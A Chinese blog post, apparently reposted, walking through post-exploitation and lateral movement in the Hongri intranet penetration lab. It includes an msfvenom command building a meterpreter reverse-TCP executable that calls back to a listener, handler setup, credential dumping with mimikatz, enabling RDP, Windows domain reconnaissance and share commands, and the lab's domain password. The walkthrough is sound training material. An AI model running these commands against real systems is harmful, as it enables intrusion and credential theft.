草庐IT

红日靶场(内网渗透）——2

yaolingyu 2023-03-28 原文

1.后渗透。

之前我们已经将小马上传，在这里用webshell进行进一步渗透。

1）基于msf

利用msf生成exe，并上传。

msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.248.128 LPORT=1234 -f exe -o 1.exe

 

 

 

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.248.128
set lport 1234
exploit

 

 

 之后直接进行提权。

2）进行提权。

 

 

 这里用户为admin，所以可以直接提到system。

3）获取账号密码。

Windows系统下的hash密码格式为：
用户名称:RID:LM-HASH值:NT-HASH值
例如：
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

windows hash加密机制

具体请参考：https://blog.csdn.net/vanarrow/article/details/105667617?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165253258416781435465254%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165253258416781435465254&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-105667617-null-null.142^v9^pc_search_result_cache,157^v4^control&utm_term=windows+hash%E5%8A%A0%E5%AF%86%E6%9C%BA%E5%88%B6&spm=1018.2226.3001.4187

4）mimikatz

这里主要利用mimikatz进行明文密码的获取

这里不过多介绍，详情可以参考这篇文章：

https://www.csdn.net/tags/Ntzacg2sMTE0NDUtYmxvZwO0O0OO0O0O.html

5）开启3389端口

run post/windows/manage/enable_rdp

2.横向渗透

1）信息收集

ipconfig /all   # 查看本机ip，所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组（通常会有域用户）
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器（可能有多台）

以上是一些常用指令。

 

 

 

 大概收集的信息为

域控为OWA$
域管理员为Administrator
密码为HONGRISEC@2019
内网网段为192.168.52.1/24

进入msf收集ip

 

共三个ip，其中192.168.52.143为win7

利用msf扫描192.168.52.141端口

 

 

 192.168.52.138得到的信息相同

因为两者都开放445端口，采用ms17-010进行攻击。

利用ms17-010时发现一个问题，不能直接利用，所以开启3389，使用代理。

这里因为个人环境的一些问题，没有继续下去，自己还是差很多东西，之后继续努力吧。

 

mdash红日spancolorstyle网络安全

有关红日靶场(内网渗透）——2的更多相关文章

  1. python - 这些脚本语言中哪种更适合渗透测试？ - 2

    关闭。这个问题是opinion-based.它目前不接受答案。想要改进这个问题？更新问题，以便editingthispost可以用事实和引用来回答它.关闭9年前。Improvethisquestion首先，我想避免一场关于语言的口水战。可供选择的语言有Perl、Python和Ruby。我想提一下，我对所有这些都很满意，但问题是我不能只专注于一个。例如，如果我看到一个很棒的Perl模块，我必须尝试一下。如果我看到一个不错的Python应用程序，我必须知道它是如何制作的。如果我看到RubyDSL或一些Ruby巫术，我就会迷上Ruby一段时间。目前我是一名Java开发人员，但计划在不久的将来

  2. 中职组网络安全2023年山东省省赛Linux 系统渗透提权 - 2

            B-3：Linux系统渗透提权任务环境说明：服务器场景：Server2204（关闭链接）用户名：hacker密码：123456使用渗透机对服务器信息收集，并将服务器中SSH服务端口号作为flag提交；Flag：2283/tcp使用渗透机对服务器信息收集，并将服务器中主机名称作为flag提交；Flag：KipZ1eze使用渗透机对服务器信息收集&

  3. Kali渗透测试：网络数据的嗅探与欺骗 - 2

    Kali渗透测试：网络数据的嗅探与欺骗无论什么样的漏洞渗透模块，在网络中都是以数据包的形式传输的，因此如果我们能够对网络中的数据包进行分析，就可以掌握渗透的原理。另外，很多网络攻击的方法也都是发送精心构造的数据包来完成的，如常见的ARP欺骗。利用这种欺骗方式，黑客可以截获受害计算机与外部通信的全部数据，如受害者登录使用的用户名与密码、发送的邮件等。“Thequieteryouarethemoreyouareabletohear”（你越安静，你能听到的越多）。如使用HTTP、FTP或者Telnet等协议所传输等数据都是明文传输的，一旦数据包被监听，里面的信息就会被泄漏。而这一切并不难做到，任何一

  4. 网络安全渗透测试实验一 - 2

    1.实验目的和要求理解网络扫描、网络侦察的作用；通过搭建网络渗透测试平台，了解并熟悉常用搜索引擎、扫描工具的应用，通过信息收集为下一步渗透工作打下基础。系统环境：KaliLinux2、Windows网络环境：交换网络结构实验工具：Metasploitable2（需自行下载虚拟机镜像）；Nmap（Kali）；WinHex、数据恢复软件等实验步骤1、用搜索引擎Google或百度搜索麻省理工学院网站中文件名包含“networksecurity”的pdf文档，截图搜索得到的页面。答：利用搜索引擎语言就能找到符合题目要求的文档。2、照片中的女生在哪里旅行？截图搜索到的地址信息。答：可以注意到图片中出现最

  5. 【内网安全-横向移动】WMI-WMIC命令&相关内网工具 - 2

    目录一、WMI1、简述： 1）官方介绍：2）优点：3）条件：4）不足：5）WMIC管理命令：6）相关工具： 2、上线：1、wmic2、impacket-wmiexec3、wmicmd.exe4、WMIHACKER一、WMI1、简述： 1）官方介绍：WMI具有管理员和WMI提供程序编写器使用的多个命令行工具WMI命令行工具-Win32apps|MicrosoftLearnhttps://learn.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-command-line-tools2）优点：内网中大多数Win系统自带wmic命令，并且该方法不会在目标日志

  6. 内网渗透(二)之提权 - 2

    目录内网渗透之提权篇Webshell数据库提权MySQLUDF提权启动项提权MOF提权SQLServerxp_cmdshell提权sp_oacreate提权CLR执行系统命令DB_owner权限LOG备份提权DB_owner权限差异备份提权shell反弹命令的一些收集关于WIndows系统的反弹shell命令的一些收集 关于Linux系统的反弹shell命令的一些收集对于Windows系统的提权内核溢出漏洞提权方法一：手动执行命令方法二：msf后渗透模块 方法三：WindowsExploitSuggester方法四：PowerShell中的Sherlock脚本Windows错误配置提权系统服务

  7. CTF综合靶场渗透系列-Billu_b0x - 2

    Billu_b0x文章目录Billu_b0x前言目标运行环境信息收集漏洞挖掘测试首页SQL注入利用文件包含漏洞获取php源码、passwd文件通过得到的mysql密码登录phpmyadmin继续暴破phpmy目录，文件包含phpmyadmin配置文件获取shell登录index首页，并获得cmdshell和反弹shell找一个可写权限目录，写入菜刀马提升权限查看内核、系统版本，寻找提权exp编译、提权后记前言最近新找到的一个靶场，跟vulnhub靶场渗透思路差不多，不过没有设计到内网的渗透，只是单方面的进行渗透提权，获取对方的主机权限，对于打CTF的小伙伴们还是很有帮助的。但我感觉这次的难度好

  8. 使用docker和docker-compose搭建Vulhub漏洞测试靶场 - 2

    使用docker和docker-compose搭建Vulhub漏洞测试靶场1、安装Docker和docker-composedocker安装步骤docker-compose安装步骤2、下载vulhub安装完成docker和docker-compose后，拉取Vulhub到本地任意目录即可：gitclonehttps://github.com/vulhub/vulhub.git或通过sftp将vulhub文件夹上传至任意目录3、启动漏洞环境docker-compose会自动查找当前目录下的配置文件（默认文件名为docker-compose.yml），并根据其内容编译镜像和启动容器。所以，要运行某

  9. 【网络安全】利用MSF工具内网复现MS08-067 - 2

    ???博主昵称：跳楼梯企鹅????博主主页面链接：https://blog.csdn.net/weixin_50481708?spm=1000.2115.3001.5343?创作初心：本博客的初心为与技术朋友们相互交流，每个人的技术都存在短板，博主也是一样，虚心求教，希望各位技术友给予指导?博主座右铭：发现光，追随光，成为光，散发光?博主研究方向：渗透测试、机器学习?博主寄语：感谢各位技术友的支持，您的支持就是我前进的动力利用MSF工具内网复现MS08-067一、初识MSF1.MSF是什么2.MSF目录结构

  10. 【kali】docker搭建pikachu靶场并配置所需环境 - 2

    【kali】docker搭建pikachu靶场并配置所需环境一、安装pikachu1.下载pikachu镜像2.遇到拉取慢的情况下可以使用docker的国内镜像加速，创建或修改3.启动pikachu容器4.验证5.按照提示的步骤，要安装环境，本文采用mysql+php+nginx或者mysql+php+apache环境二、安装Mysql，并尝试连接1.docker中拉取mysql2.查看docker中的镜像列表3.进入pikachu容器4.登录mysql，一开始密码初始化为空5.查看数据库三、安装Nginx1.获取Nginx镜像2.查看本地镜像是否成功3.创建并启动nginx容器4.在/usr

随机推荐